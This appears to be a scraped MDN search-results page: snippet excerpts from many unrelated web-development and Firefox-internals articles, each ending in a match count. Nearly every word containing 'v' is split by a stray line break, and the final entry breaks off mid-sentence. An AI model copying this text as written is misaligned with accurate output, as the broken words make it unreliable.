via heading elements if the developer hasn't appropriately used heading elements to markup the content.
...And 31 more matches
Document and website structure - Learn web development
pre
vious over
view: introduction to html next in addition to defining indi
vidual parts of your page (such as "a paragraph" or "an image"), html also boasts a number of block level elements used to define areas of your website (such as "the header", "the na
vigation menu", "the main content column").
... basic sections of a document webpages can and will look pretty different from one another, but they all tend to share similar standard components, unless the page is displaying a fullscreen
video or game, is part of some kind of art project, or is just badly structured: header: usually a big strip across the top with a big heading, logo, and perhaps a tagline.
... na
vigation bar: links to the site's main sections; usually represented by menu buttons, links, or tabs.
...And 31 more matches
Command line crash course - Learn web development
pre
vious over
view: understanding client-side tools next in your development process you'll undoubtedly be required to run some command in the terminal (or on the "command line" — these are effectively the same thing).
... this article pro
vides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (cli) tools.
...
viewing the command line for the first time can be a daunting experience: a blank screen and a blinking cursor, with very little ob
vious help available on what to do.
...And 31 more matches
Querying Places
executing a query places queries have several basic parts: the query object: nsinavhistoryquery, holds the search parameters the query options: nsinavhistoryqueryoptions, allows configuration of the search result the history ser
vice: nsinavhistoryser
vice, executes the query the first first step is to create the query and options, and fill them with the parameters you want.
... use nsinavhistoryser
vice.getnewquery() and nsinavhistoryser
vice.getnewqueryoptions() to retrieve empty objects.
...these values are also properties of nsinavhistoryqueryoptions, and are accessed like this: components.interfaces.nsinavhistoryqueryoptions.results_as_
visit.
...And 31 more matches
nsIDocShell
method over
view void addsessionstorage(in nsiprincipal principal, in nsidomstorage storage); void addstate(in nsivariant adata, in domstring atitle, in domstring aurl, in boolean areplace); void beginrestore(in nsicontent
viewer
viewer, in boolean top); void createaboutblankcontent
viewer(in nsiprincipal aprincipal); void createloadinfo(out nsidocshellloadinfo loa...
...dinfo); void detacheditorfromwindow();
violates the xpcom interface guidelines void finishrestore(); void firepagehidenotification(in boolean isunload); native code only!
... allowmedia boolean attribute stating whether or not media (audio/
video) should be loaded.
...And 31 more matches
Using the Screen Capture API - Web APIs
capturing screen contents capturing screen contents as a live mediastream is initiated by calling na
vigator.mediade
vices.getdisplaymedia(), which returns a promise that resolves to a stream containing the live screen contents.
... starting screen capture: async/await style async function startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await na
vigator.mediade
vices.getdisplaymedia(displaymediaoptions); } catch(err) { console.error("error: " + err); } return capturestream; } you can write this code either using an asynchronous function and the await operator, as shown above, or using the promise directly, as seen below.
... starting screen capture: promise style function startcapture(displaymediaoptions) { let capturestream = null; return na
vigator.mediade
vices.getdisplaymedia(displaymediaoptions) .catch(err => { console.error("error:" + err); return null; }); } either way, the user agent responds by presenting a user interface that prompts the user to choose the screen area to share.
...And 31 more matches
Lighting a WebXR setting - Web APIs
because the webxr de
vice api relies on other technologies—namely, webgl and frameworks based upon it—to perform all rendering, texturing, and lighting of a scene, the same general lighting concepts apply to webxr settings or scenes as to any other webgl-generated display.
...and while this article pro
vides brief reminders as to how lighting works in general, it is not by any means a tutorial in lighting or a guide to how to create a properly-lit 3d scene.
... flashback: simulating lighting in 3d although this article isn't a comprehensive guide to lighting a 3d scene, it's useful to pro
vide a brief reminder as to how lighting works in general.
...And 31 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
everything will use apis available in firefox 17+ or code pro
vided here.
... step 1: use ser
vices.jsm if you load one of mozilla's internal jsm files, for example ser
vices.jsm, you'll do so
via pri
vileged javascript code like this: components.utils.import("resource://gre/modules/ser
vices.jsm"); from here on out, it is assumed you've imported ser
vices.jsm somewhere at the top of whatever file you're in and will be using it in all code examples.
...resource mappings for files in the mozilla distribution, such as ser
vices.jsm (above), will continue to work.
...And 30 more matches
Drawing graphics - Learn web development
pre
vious over
view: client-side web apis next the browser contains some very powerful graphics programming tools, from the scalable vector graphics (svg) language, to apis for drawing on html <canvas> elements, (see the canvas api and webgl).
... this article pro
vides an introduction to canvas, and further resources to allow you to learn more.
... graphics on the web as we talked about in our html multimedia and embedding module, the web was originally just text, which was very boring, so images were introduced — first
via the <img> element and later
via css properties such as background-image, and svg.
...And 30 more matches
Introduction to client-side frameworks - Learn web development
over
view: client-side javascript frameworks next we begin our look at frameworks with a general over
view of the area, looking at a brief history of javascript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks.
... a brief history when javascript debuted in 1996, it added occasional interacti
vity and excitement to a web that was, up until then, composed of static documents.
...users write papers, manage their budgets, stream music, watch mo
vies, and communicate with others over great distances instantaneously, with text, audio or
video chat.
...And 30 more matches
Using XPCOM Components
« pre
viousnext » one of the best ways to begin working with xpcom - especially when you are designing the interface to a component that will be used by others, as we do in starting weblock - is to look at how clients are already using xpcom components.
...in fact,
virtually all of the functionality that you associate with a browser - na
vigation, window management, managing cookies, bookmarks, security, searching, rendering, and other features - is defined in xpcom components and accessed by means of those component interfaces.
...whenever a user accesses the cookie manager dialog to
view, organize, or remove cookies that have been stored on the system, they are using the cookiemanager component behind the scenes.
...And 30 more matches
Using the Gamepad API - Web APIs
technologies like <canvas>, webgl, <audio>, and <
video>, along with javascript implementations, have matured to the point where they can now support many tasks pre
viously requiring native code.
...in addition to these events, the api also adds a gamepad object, which you can use to query the state of a connected gamepad, and a na
vigator.getgamepads() method which you can use to get a list of gamepads known to the page.
... in firefox, gamepads are only exposed to a page when the user interacts with one with the page
visible.
...And 30 more matches
Pointer events - Web APIs
much of today's web content assumes the user's pointing de
vice will be a mouse.
... however, since many de
vices support other types of pointing input de
vices, such as pen/stylus and touch surfaces, extensions to the existing pointing de
vice event models are needed.
... pointer events are dom events that are fired for a pointing de
vice.
...And 30 more matches
Understandable - Accessibility
this article pro
vides practical ad
vice on how to write your web content so that it conforms to the success criteria outlined in the understandable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... success criteria how to conform to the criteria practical resource 3.1.1 language of page (a) the default human language of each web page should be detectable
via code.
...the simplest way to achieve this is to set the lang attribute on the page's <html> element, gi
ving it a value equal to the language code that best represents the language the page is written in.
...And 30 more matches
HTML elements reference - HTML: Hypertext Markup Language
an alphabetical list of all elements is pro
vided in the sidebar on every element's page as well as this one.
...this element is most commonly used to link to stylesheets, but is also used to establish site icons (both "fa
vicon" style icons and icons for the home screen and apps on mobile de
vices) among other things.
...use the sectioning elements to create a broad outline for your page content, including header and footer na
vigation, and heading elements to identify sections of content.
...And 30 more matches
/loader - Archive of obsolete content
create somewhat standardized js en
vironments that people doing non-browser js are familiar with.
... pro
vide an en
vironment for loading commonjs style modules, which makes it possible to consume lots of interesting code that has already been developed.
... secure each module in an isolated js sandbox and makes any capability imports explicit
via calls to the require() function.
...And 29 more matches
Index - Game development
found 74 pages: # page tags and summary 1 game development apps, game development, gamedev, games, html5 games, javascript games, web gaming is one of the most popular computer acti
vities.
... new technologies are constantly arri
ving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
... 2 anatomy of a
video game games, javascript, main loop, requestanimationframe i want to be clear that any of the above, or none of them, could be best for your game.
...And 29 more matches
Profiling with the Firefox Profiler
it can be used in a variety of situations where external profilers are not available, and can pro
vide more information and insight into what the browser is doing.
... using the firefox profiler
visit profiler.firefox.com to get started.
...below the tracing markers are rows corresponding with acti
vity on a variety of threads.
...And 29 more matches
Python binding for NSS
project information python-nss is a python binding for nss (network security ser
vices) and nspr (netscape portable runtime).
... nss pro
vides cryptography ser
vices supporting ssl, tls, pki, pkix, x509, pkcs*, etc.
... nss is built upon nspr because nspr pro
vides an abstraction of common operating system ser
vices, particularly in the areas of networking and process management.
...And 29 more matches
Places utilities for JavaScript
utils.js is accessible at the following url: http://mxr.mozilla.org/mozilla-centr...ntent/utils.js this file includes utility functions used by a lot of the bookmarking, tagging, and annotation ser
vices that are built into firefox.
...its not an interface, and as such it will never be frozen, but it pro
vides some easy to use functions that can save you from reinventing the wheel and cluttering up your own classes/functions when you need it.
...these just take in the node, as the interface is already defined: as
visit(anode) asfull
visit(anode) ascontainer(anode) asquery(anode) annotations a few annotation names are defined here.
...And 29 more matches
Debugger.Object - Firefox Developer Tools
debugger.object a debugger.object instance represents an object in the debuggee, pro
viding reflection-oriented methods to inspect and modify its referent.
... javascript code in different compartments can have different
views of the same object.
... for example, in firefox, code in pri
vileged compartments sees content dom element objects without redefinitions or extensions made to that object's properties by content code.
...And 29 more matches
Using IndexedDB - Web APIs
start a transaction and make a request to do some database operation, like adding or retrie
ving data.
...if the database does exist but you are specifying an upgraded version number, an onupgradeneeded event is triggered straight away, allowing you to pro
vide an updated schema in its handler.
...(to learn more about how much storage you can have for each browser, see storage limits.) ob
viously, browsers do not want to allow some advertising network or malicious website to pollute your computer, so browsers used to prompt the user the first time any given web app attempts to open an indexeddb for storage.
...And 29 more matches
JavaScript modules - JavaScript
« pre
vious this guide gives you all you need to get started with javascript module syntax.
... a background on modules javascript programs started off pretty small — most of its usage in the early days was to do isolated scripting tasks, pro
viding a bit of interacti
vity to your web pages where needed, so large scripts were generally not needed.
... it has therefore made sense in recent years to start thinking about pro
viding mechanisms for splitting javascript programs up into separate modules that can be imported when needed.
...And 29 more matches
Web audio codec guide - Web media technologies
additionally, webrtc implementations generally use a subset of these codecs for their encoding and decoding of media, and may support additional codecs as well, for optimal cross-platform support of
video and audio conferencing, and to integrate better with legacy telecommunication solutions.
...of course, indi
vidual browsers may or may not choose to support all of these codecs, and their support for which container types can use them may vary as well.
... g.711 pulse code modulation (pcm) of voice frequencies rtp / webrtc g.722 7 khz audio coding within 64 kbps (for telephony/voip) rtp / webrtc mp3 mpeg-1 audio layer iii mp4, adts, mpeg1, 3gp opus opus webm, mp4, ogg vorbis vorbis webm, ogg [1] when mpeg-1 audio layer iii codec data is stored in an mpeg file, and there is no
video track on the file, the file is typically referred to as an mp3 file, even though it's still an mpeg format file.
...And 29 more matches
HTTP Cache
it is strongly encoraged to not use the old cache api any more - nsicacheser
vice et al.
... nsicachestorageser
vice the http cache entry-point.
... accessible as a ser
vice only, fully thread-safe, scriptable.
...And 28 more matches
Hacking Tips
if you have no precise idea which function you are looking at, you can set a breakpoint on the js::ion::codegenerator::
visitstart function.
... $ gdb --args js […] (gdb) b js::ion::codegenerator::
visitstart (gdb) command >call masm.breakpoint() >continue >end (gdb) r js> function f(a, b) { return a + b; } js> for (var i = 0; i < 100000; i++) f(i, i + 1); breakpoint 1, js::ion::codegenerator::
visitstart (this=0x101ed20, lir=0x10234e0) at /home/nicolas/mozilla/ionmonkey/js/src/ion/codegenerator.cpp:609 609 } program received signal sigtrap, trace/breakpoint trap.
... (gdb) x /5i $pc - 1 0x7ffff7fb1659: int3 => 0x7ffff7fb165a: mov 0x28(%rsp),%rax 0x7ffff7fb165f: mov %eax,%ecx 0x7ffff7fb1661: mov 0x30(%rsp),%rdx 0x7ffff7fb1666: mov %edx,%ebx (gdb) # replace the int3 by a nop (gdb) set *(unsigned char *) ($pc - 1) = 0x90 (gdb) x /1i $pc - 1 0x7ffff7fb1659: nop (gdb) # set a breakpoint at the pre
vious location (gdb) b *0x7ffff7fb1659 breakpoint 2 at 0x7ffff7fb1659 printing ion generated assembly code (from gdb) if you want to look at the assembly code generated by ionmonkey, you can follow this procedure: place a breakpoint at codegenerator.cpp on the codegenerator::link method.
...And 28 more matches
Building accessible custom components in XUL - Archive of obsolete content
assistive technologies could only see the generic html markup used to build the control; they had no way of knowing that a particular collection of div and span elements should be treated as a single cohesive control (such as a tab bar or a tree
view).
... by implementing dhtml accessibility techniques, web developers can declare that generic html elements are really acting as specific gui controls (such as a treeitem within a tree
view).
...there is generally no need to build your own xul tab bar or tree
view.
...And 27 more matches
Aprender y obtener ayuda - Learn web development
this article pro
vides some hints and tips in both of these areas that will help you get more out of learning web development, as well as further reading so you can find out more information about each sub-topic should you wish..
...you concentrate deeply on a low-level topic and sol
ving the specific problems that it brings.
... from the studies that neuroscientists have done on brain acti
vity, we have found out that you can't really engage in both ways of learning — or thinking — at once.
...And 27 more matches
Getting started with Ember - Learn web development
pre
vious over
view: client-side javascript frameworks next in our first ember article we will look at how ember works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.
... introducing ember ember is a component-ser
vice framework that focuses on the overall web application development experience, minimizing the tri
vial differences between applications — all while being a modern and light layer on top of native javascript.
... what does it mean to be a component-ser
vice framework?
...And 27 more matches
nsINavHistoryObserver
toolkit/components/places/nsinavhistoryser
vice.idlscriptable this interface is similar to the nsirdfobserver class, but is used to observe interactions on the global history.
...method over
view void onbeforedeleteuri(in nsiuri auri, in acstring aguid); obsolete since gecko 21.0 void onbeginupdatebatch(); void onclearhistory(); void ondeleteuri(in nsiuri auri, in acstring aguid); void ondelete
visits(in nsiuri auri, in prtime a
visittime, in acstring aguid); void onendupdatebatch(); void onpagechanged(in nsiuri auri, in unsigned long awhat, in astring avalue); ...
... void onpageexpired(in nsiuri auri, in prtime a
visittime, in boolean awholeentry); obsolete since gecko 2.0 void ontitlechanged(in nsiuri auri, in astring apagetitle); void on
visit(in nsiuri auri, in long long a
visitid, in prtime atime, in long long asessionid, in long long areferringid, in unsigned long atransitiontype, in acstring aguid, out unsigned long aadded); constants constant value description attribute_fa
vicon 3 the page's fa
vicon changed.
...And 27 more matches
Introduction to DOM Inspector - Firefox Developer Tools
for thunderbird and seamonkey mail and news, any messages you're
viewing will be listed here.
...instead, ensure that the document loads
via normal means and use the inspect chrome document menupopup to select it for inspection.
...this allows you to use the dom inspector without ha
ving to use a separate browser window, or without embedding a browser in your application at all.
...And 27 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
<!doctype html> <html> <head> <meta charset="utf-8" /> <title>setinterval/clearinterval example</title> <script> var ninter
vid; function changecolor() { ninter
vid = setinterval(flashtext, 1000); } function flashtext() { var oelem = document.getelementbyid('my_box'); oelem.style.color = oelem.style.color == 'red' ?
... } function stoptextcolor() { clearinterval(ninter
vid); } </script> </head> <body onload="changecolor();"> <div id="my_box"> <p>hello world</p> </div> <button onclick="stoptextcolor();">stop</button> </body> </html> example 3: typewriter simulation the following example simulates typewriter by first clearing and then slowly typing content into the nodelist that matches a specified group of selectors.
... <!doctype html> <html> <head> <meta charset="utf-8" /> <title>javascript typewriter - mdn example</title> <script> function typewriter (sselector, nrate) { function clean () { clearinterval(ninter
vid); btyping = false; bstart = true; ocurrent = null; asheets.length = nidx = 0; } function scroll (osheet, npos, beraseandstop) { if (!osheet.hasownproperty('parts') || amap.length < npos) { return true; } var orel, bexit = false; if (amap.length === npos) { amap.push(0); } while (amap[npos] < osheet.parts.length) { orel = osheet.parts[amap[npos]]; scroll(orel, npos + 1, beraseandstop) ?
...And 27 more matches
Border-image generator - CSS: Cascading Style Sheets
emote" class="button"> </div> </div> <div id="general-controls" class="group section"> <div class="name"> control box </div> <div class="separator"></div> <div class="property"> <div class="name">scale</div> <div class="ui-input-slider" data-topic="scale" data-unit="%" data-max="300" data-sensi
vity="10"> </div> </div> <div class="separator"></div> <div class="property"> <div class="name">draggable</div> <div class="ui-checkbox" data-topic='drag-subject'></div> </div> <div class="property right"> <div class="name">section height</div> <div class="ui-in...
...put-slider" data-topic="pre
view-area-height" data-min="400" data-max="1000"> </div> </div> </div> <div id="pre
view_section" class="group section"> <div id="subject"> <div class="guideline" data-axis="y" data-topic="slice-top"></div> <div class="guideline" data-axis="x" data-topic="slice-right"></div> <div class="guideline" data-axis="y" data-topic="slice-bottom"></div> <div class="guideline" data-axis="x" data-topic="slice-left"></div> </div> <div id="pre
view"> </div> </div> <!-- controls --> <div id="controls" class="group section"> <!-- border-image-slice --> <div id="border-sli...
... <div data-value="1">repeat</div> <div data-value="1">stretch</div> <div data-value="1">round</div> </div> </div> <div class="property"> <div class="ui-input-slider" data-topic="font-size" data-info="em size" data-unit="px" data-value="12" data-sensi
vity="3"> </div> </div> <div class="property"> <div class="ui-input-slider" data-topic="pre
view-width" data-info="width" data-unit=" px" data-min="10" data-max="10000" data-sensi
vity="3"></div> </div> <div class="property"> <div class="ui-input-slider"...
...And 27 more matches
HTTP headers - HTTP
response headers hold additional information about the response, like its location or about the server pro
viding it.
... dpr a number that indicates the client’s current de
vice pixel ratio (dpr), which is the ratio of physical pixels over css pixels (section 5.2 of [cssval]) of the layout
viewport (section 9.1.1 of [css2]) on the de
vice.
... de
vice-memory technically a part of de
vice memory api, this header represents an approximate amount of ram client has.
...And 27 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
as a result, mozilla is not fully backwards-compatible with netscape na
vigator 4.x and microsoft internet explorer legacy code; for example, mozilla does not support <layer> as i will discuss later.
...in this article, i will describe mozilla's quirks mode, which pro
vides strong backwards html compatibility with internet explorer and other legacy browsers.
... (dom): dom level 1, dom level 2 and parts of dom level 3 mathematical markup language: mathml version 2.0 extensible markup language (xml): xml 1.0, namespaces in xml, associating style sheets with xml documents 1.0, fragment identifier for xml xsl transformations: xslt 1.0 xml path language: xpath 1.0 resource description framework: rdf simple object access protocol: soap 1.1 ecma-262, re
vision 3 (javascript 1.5): ecma-262 general cross-browser coding tips even though web standards do exist, different browsers behave differently (in fact, the same browser may behave differently depending on the platform).
...And 26 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
here's an example of this kind of usage for ie: <!-- ie only code --> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="366" height="142" id="myflash"> <param name="mo
vie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> </object> in the above example, the classid attribute that goes along with the object element points to a "clsid:" urn followed by the unique identifier of an activex control (in the above example, the string beginning with "d27...").
...for instance, the param name="mo
vie" tells the flash plugin the location of the swf file to start playing.
...mozilla-based browsers support the netscape plugin architecture, which is not com based like activex (and thus, not invoked
via a unique identifier) but rather, mime type based.
...And 26 more matches
Choosing the right approach - Learn web development
pre
vious over
view: asynchronous to finish this module off, we'll pro
vide a brief discussion of the different coding techniques and features we've discussed throughout, looking at which one you should use when, with recommendations and reminders of common pitfalls where appropriate.
... single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no yes (recursive callbacks) yes (nested callbacks) no code example an example that loads a resource
via the xmlhttprequest api (run it live, and see the source): function loadasset(url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get', url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src...
... browser compatibility desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsettimeoutchrome full support 30edge full support 12firefox full support 1 full support 1 full support ...
...And 26 more matches
Graceful asynchronous programming with Promises - Learn web development
pre
vious over
view: asynchronous next promises are a comparatively new feature of the javascript language that allow you to defer further actions until after a pre
vious action has completed, or respond to its failure.
...there is no guarantee of exactly when the operation will complete and the result will be returned, but there is a guarantee that when the result is available, or the promise fails, the code you pro
vide will be executed in order to do something else with a successful result, or to gracefully handle a failure case.
...let's consider a hypothetical
video chat application.
...And 26 more matches
Mozilla accessibility architecture
intro this document is for people who wish to understand the architecture of mozilla's accessibility api module, which pro
vides support for platform accessibility apis.
...the shared code makes itself available to the toolkit-specific code
via generic xpcom interfaces that return information about objects we want to expose.
...each of these accessible nodes supports at minimum the generic cross-platform accessibility interface nsiaccessible (which pro
vides a text name, enumerated role identifier and a set of state flags) and sometimes additional interfaces.
...And 26 more matches
Component Internals
« pre
viousnext » where the pre
vious chapter described components from the perspective of a client of xpcom components, this chapter discusses components from the perspective of the software developer.
... a set of default libraries stored in this components directory makes up a typical gecko installation, pro
viding functionality that consists of networking, layout, composition, a cross-platform user interface, and others.
... another, even more basic
view of this relationship of components to the files and interfaces that define them is shown in onion peel
view of xpcom component creation in the next chapter.
...And 26 more matches
DOM Inspector internals - Firefox Developer Tools
this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed from one of the applications for which dom inspector has explicit support (i.e., menuitems placed
via overlay).
...(internally, a panel may be loosely referred to as a "pane", but a panelset is always referred to as a "panelset".) a panel's purpose is to manage available
viewers.
... at the top of each panel is a toolbar which contains a menu button allowing you to choose which
viewer to display from the
viewer list, a label displaying the name of the currently active
viewer, and another menu button allowing you to issue
viewer-specific commands.
...And 26 more matches
IDBObjectStore - Web APIs
if this attribute is null, the application must pro
vide a key for each modification operation.
... idbobjectstore.count() returns an idbrequest object, and, in a separate thread, returns the total number of records that match the pro
vided key or idbkeyrange.
... if no arguments are pro
vided, it returns the total number of records in the store.
...And 26 more matches
Selection API - Web APIs
the selection api pro
vides functionality for reading and manipulating the range of text selected by the user.
... once your selection is in a variable, you perform a variety of operations on it, for example copying the selection to a text string using selection.tostring(), adding a range (as represented by a standard range object) to the selection (or remo
ving one) with selection.addrange()/selection.removerange(), or changing the selection to be the entire contents of a dom node using selection.selectallchildren().
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetselection experimentalchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes the globaleventha...
...And 26 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
note: sites that automatically play audio (or
videos with an audio track) can be an unpleasant experience for users, so should be avoided when possible.
... disableremoteplayback a boolean attribute used to disable the capability of remote playback in de
vices that are attached using wired (hdmi, d
vi, etc.) and wireless technologies (miracast, chromecast, dlna, airplay, etc).
... preload this enumerated attribute is intended to pro
vide a hint to the browser about what the author thinks will lead to the best user experience.
...And 26 more matches
<textarea> - HTML: Hypertext Markup Language
the html <textarea> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a comment on a re
view or feedback form.
...possible values are: off: the user must explicitly enter a value into this field for every use, or the document pro
vides its own auto-completion method; the browser does not automatically complete the entry.
... on: the browser can automatically complete the value based on values that the user has entered during pre
vious uses.
...And 26 more matches
MMgc - Archive of obsolete content
class myfinalizedobject : public mmgc::gcfinalizedobject { public: ~myfinalizedobject() { // do finalization beha
vior, like closing network connections, // freeing unmanaged memory owned by this object, etc.
...at the different poison values mean: 0xfafafafa uninitialized unmanaged memory 0xedededed unmanaged memory that was freed explicitly 0xbabababa managed memory that was freed by the sweep phase of the garbage collector 0xcacacaca managed memory that was freed by an explicit call to gc::free (including drc reaping) 0xdeadbeef this is written to the 4 bytes just after any object allocated
via mmgc.
...only if you subclass gcfinalizedobject or rcfinalizedobject will mmgc know that you want finalization beha
vior on your class.
...And 25 more matches
What is accessibility? - Learn web development
over
view: accessibility next this article starts the module off with a good look at what accessibility is — this over
view includes what groups of people we need to consider and why, what tools different people use to interact with the web, and how we can make accessibility part of our web development workflow.
...we traditionally think of this as being about people with disabilities, but the practice of making sites accessible also benefits other groups such as those using mobile de
vices, or those with slow network connections.
... you might also think of accessibility as treating everyone the same, and gi
ving them equal opportunities, no matter what their ability or circumstances.
...And 25 more matches
TypeScript support in Svelte - Learn web development
pre
vious over
view: client-side javascript frameworks next in the last article we learned about svelte stores and even implemented our own custom store to persist the app's information to web storage.
... typescript: optional static typing for javascript typescript is a superset of javascript that pro
vides features such as optional static typing, classes, interfaces, and generics.
...one of the big benefits is enabling ides to pro
vide a richer en
vironment for spotting common errors as you type the code.
...And 25 more matches
Componentizing our Svelte app - Learn web development
pre
vious over
view: client-side javascript frameworks next in the last article we started developing our todo list app.
...components can be big or small, but they are usually clearly defined: the most effective components serve a single, ob
vious purpose.
... todo.svelte: an indi
vidual todo item.
...And 25 more matches
Script security
this page pro
vides an over
view of the script security architecture in gecko.
...this javascript code, which is commonly referred to as chrome code, runs with system pri
vileges.
...legacy sdk extensions also run with chrome pri
vileges.
...And 25 more matches
source-editor.jsm
the source-editor.jsm javascript code module implements an editor specifically tailored for editing source code; its primary purpose is to pro
vide support for web developer tools to display and edit web site code.
... the editor pro
vided is eclipse orion.
... method over
view initialization and destruction void destroy(); void init(element aelement, object aconfig, function acallback); search operations number find(string astring, [optional] object options); number findnext(boolean awrap); number findpre
vious(boolean awrap); event management void addeventlistener(string aeventtype, function a...
...And 25 more matches
NSS tools : modutil
please contribute to the initial re
view in mozilla nss bug 836477[1] description the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens.
... modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default pro
viders for cryptographic operations.
... -default modulename specify the security mechanisms for which the named module will be a default pro
vider.
...And 25 more matches
Building the WebLock UI
« pre
viousnext » up until now, we've been building a component that can be installed in any gecko application.
... the xpcom interfaces and tools you've used have been general, cross-platform, and available in the gecko runtime en
vironment or in any gecko-based application after mozilla 1.2 (when the gre began to be used).
...specifically, the user interface we create in this chapter will be overlaid into the statusbar of the browser component, where it will pro
vide a small icon the user can click to access the web lock interface.
...And 25 more matches
Finishing the Component
« pre
viousnext » at this point you have created most of the infrastructure of the component.
...grab the right headers, use the component or ser
vice manager to access the interface you want, and the xpcom object(s) that implement that interface will do your bidding.
...for example, take a look at the nsiser
vicemanager: /** * the nsiser
vicemanager manager interface pro
vides a means to obtain * global ser
vices in an application.
...And 25 more matches
Observer Notifications
unless otherwise noted you register for the topics using the nsiobserverser
vice.
... if your component requires access to the user profile, or any ser
vices which require access to the profile (preferences, bookmarks, and so on) then a common pattern is to register with the nsicategorymanager for the app-startup topic which can be done in the component's registration code, and then in that notification register with the observer ser
vice for the profile-after-change notification.
... see recei
ving startup notifications for more information about how this works.
...And 25 more matches
MediaTrackSettings - Web APIs
these values will adhere as closely as possible to any constraints pre
viously described using a mediatrackconstraints object and set using applyconstraints(), and will adhere to the default constraints for any properties whose constraints haven't been changed, or whose customized constraints couldn't be matched.
...for example, because rtp doesn't pro
vide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid.
... properties of all media tracks de
viceid a domstring indicating the current value of the de
viceid property.
...And 25 more matches
Permissions - Web APIs
the permissions interface of the permissions api pro
vides the core permission api functionality, such as methods for querying and revoking permissions methods permissions.query() returns the user permission status for a given api.
... example na
vigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state === 'granted') { showlocalnewswithgeolocation(); } else if (result.state === 'prompt') { showbuttontoenablelocalnews(); } // don't do anything if the permission was denied.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpermissionschrome full support 43edge full support 79firefox full support 46ie no support noopera full support ...
...And 25 more matches
Index - HTTP
found 122 pages: # page tags and summary 1 http headers http, http header, networking, over
view, reference http headers allow the client and the server to pass additional information with the request or the response.
...browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image,
video or a script.
... 38 csp: img-src csp, directive, http, reference, security the http content-security-policy img-src directive specifies valid sources of images and fa
vicons.
...And 25 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
over
view: progressive web apps next this article pro
vides an introduction to progressive web apps (pwas), discussing what they are and the advantages they offer over regular web apps.
...for example, web apps are more discoverable than native apps; it's a lot easier and faster to
visit a website than to install an application, and you can also share web apps by simply sending a link.
...you can install a native app so that it works offline, and users love tapping their icons to easily access their favorite apps, rather than na
vigating to it using a browser.
...And 25 more matches
Adding windows and dialogs - Archive of obsolete content
« pre
viousnext » opening windows and dialogs to open a new window, use the javascript window.open function just like with html windows.
... window.open( "chrome://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the url to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the beha
vior and appearance of the window.
...this feature should only be used when there's no way to continue without ha
ving the user do something.
...And 24 more matches
Appendix D: Loading Scripts - Archive of obsolete content
most add-ons and xul runner applications pro
vide their primary functionality by loading and executing javascript code.
... because there are such a diverse array of add-ons, and because the needs of developers have grown organically over time, the gecko runtime pro
vides a number of means to dynamically load and execute javascript files.
...below is an over
view of the more common means of loading scripts, along with some of their primary advantages, disadvantages, quirks, and use cases.
...And 24 more matches
The HTML5 input types - Learn web development
pre
vious over
view: forms next in the pre
vious article we looked at the <input> element, covering the original values of the type attribute available since the early days of html.
... you can also use the multiple attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by commas): <input type="email" id="email" name="email" multiple> on some de
vices — notably, touch de
vices with dynamic keyboards like smart phones — a different
virtual keypad might be presented that is more suitable for entering email addresses, including the @ key.
... this is another good reason for using these newer input types — impro
ving the user experience for users of these de
vices.
...And 24 more matches
Third-party APIs - Learn web development
pre
vious over
view: client-side web apis next the apis we've covered so far are built into the browser, but not all apis are.
... many large websites and ser
vices such as google maps, twitter, facebook, paypal, etc.
... pro
vide apis allowing developers to make use of their data (e.g.
...And 24 more matches
Understanding client-side JavaScript frameworks - Learn web development
javascript frameworks are an essential part of modern front-end web development, pro
viding developers with tried and tested tools for building scalable, interactive web applications.
... after that, we'll pro
vide some tutorials covering the essentials of some of the different framework choices, to pro
vide you with enough context and familiarity to start going into greater depth yourself.
...introduction to client-side frameworks we begin our look at frameworks with a general over
view of the area, looking at a brief history of javascript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks.
...And 24 more matches
Eclipse CDT
system requirements eclipse will use a lot of memory to fully index the mozilla source tree to pro
vide code assistance features (easily 4 gb of ram, although this will drop to just over 1 gb if you restart after indexing is complete).
... (while package managers like snap sometimes pro
vide an eclipse package, they do not include the c++ developer tools.
...to rebuild for changes in an indi
vidual directory (for example, to take account of some changes that you yourself made) select "index > freshen all files" on that directory.
...And 24 more matches
Obsolete Build Caveats and Tips
obsolete caveats and tips from simple_firefox_build install a version of
